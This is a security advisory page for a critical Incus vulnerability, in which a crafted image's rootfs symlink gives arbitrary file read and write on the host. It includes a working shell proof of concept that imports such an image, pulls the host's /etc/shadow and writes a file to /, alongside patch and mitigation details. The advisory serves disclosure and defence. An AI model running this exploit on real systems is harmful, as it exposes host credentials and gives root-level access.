GHSA-2q3f-q5pq-g8wv — incusd
CRITICALGHSA-2q3f-q5pq-g8wv is a critical-severity (CVSS 9.9) CWE-73 vulnerability in github.com/lxc/incus/v7/cmd/incusd. A fix is available for github.com/lxc/incus/v7/cmd/incusd — see the affected versions and patch details below.
Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-2q3f-q5pq-g8wv.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-2q3f-q5pq-g8wv plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/lxc/incus/v7/cmd/incusdReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
Details
Incus validates an image as soon as it sees a normal metadata.yaml and a rootfs/ entry, but full extraction can later process a duplicate top-level rootfs symlink. Later, the stopped-container file API opens d.RootfsPath() and passes that file descriptor to forkfile, which chroots to it.
metadata.yaml
rootfs/
rootfs -> /
In practice, this allows a malicious actor to access the host's filesystem with root privileges.
PoC
Below, we map the container's rootfs to / on the host, but it can be mapped anywhere. We then retrieve the host's /etc/shadow file and create a file in /.
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC rootfs symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar
# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs
incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink
# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"
# write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/
Impact
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/lxc/incus/v7/cmd/incusd | all versions | 7.2.0go get github.com/lxc/incus/v7/cmd/incusd@v7.2.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lxc/incus/v7/cmd/incusd, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/lxc/incus/v7/cmd/incusd to 7.2.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2q3f-q5pq-g8wv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-2q3f-q5pq-g8wv can be triaged on real exposure rather than presence alone.
Tailored to GHSA-2q3f-q5pq-g8wv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-2q3f-q5pq-g8wv in your dependencies?
O3 Security finds GHSA-2q3f-q5pq-g8wv across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.